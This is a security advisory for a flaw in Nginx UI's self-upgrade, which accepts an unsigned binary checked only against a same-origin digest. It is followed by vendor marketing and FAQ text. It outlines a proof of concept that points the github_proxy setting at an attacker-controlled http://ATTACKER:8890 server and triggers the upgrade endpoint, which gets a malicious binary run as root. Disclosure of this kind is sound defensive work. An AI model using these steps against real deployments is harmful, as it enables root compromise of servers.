Summary
Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project'scloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>, used for
BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped
withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No
signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised, or DNS/BGP is
hijacked, it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted, it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11), mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
- Set the download origin to the attacker server (here via
github_proxy; in scenarios A/B this is
instead a compromised mirror / MITM):POST /api/settingswithhttp.github_proxy = http://ATTACKER:8890-> 200. The field accepts the http URL. - Trigger the upgrade: WS
GET /api/upgrade/perform, send{"channel":"stable"}. - Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digestand.../nginx-ui-linux-64.tar.gz
(over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's
digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. - Inside the container:
/tmp/UPGRADE_PWNED=UPGRADE_RCE_EXECUTED uid=0-> the malicious binary
replaced nginx-ui and EXECUTED AS ROOT.
- The attacker server received BOTH
Honest scope / caveats
- Live-verified: the integrity-bypass MECHANISM, an unsigned binary plus a same-origin digest is
accepted and executed as root, and the binary+digest are fetched over cleartext http when an http
proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy). - NOT staged (threat-model assumptions, not PoC artifacts): actually compromising
cloud.nginxui.com
/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are
standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to
cloud.nginxui.com+GitHub
plus the digest, so this is not "zero integrity", the gap is the absence of a signature, which
matters when the source is compromised or the transport is cleartext (http proxy).
Dedup / novelty
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup
tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade
integrity (checked osv.dev and the GitHub advisory database). Appears novel.
Impact
Root code execution on upgrade. Realistically reached by compromising the trusted download source
(mirror/CDN, scenario A, fleet-wide) or by MITM of a cleartext http proxy (scenario B). A
cryptographic signature on the release binary would prevent all of these.
CVE-2026-107812 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.10-0.20260728114330-580585516dd8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy
as a protected setting.
Frequently Asked Questions
- What is CVE-2026-107812? CVE-2026-107812 is a high-severity security vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions >= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8. It is fixed in 1.9.10-0.20260728114330-580585516dd8.
- How severe is CVE-2026-107812? CVE-2026-107812 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-107812? github.com/0xJacky/Nginx-UI (go) versions >= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8 is affected.
- Is there a fix for CVE-2026-107812? Yes. CVE-2026-107812 is fixed in 1.9.10-0.20260728114330-580585516dd8. Upgrade to this version or later.
- Is CVE-2026-107812 exploitable, and should I be worried? Whether CVE-2026-107812 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107812 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107812? Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260728114330-580585516dd8 or later.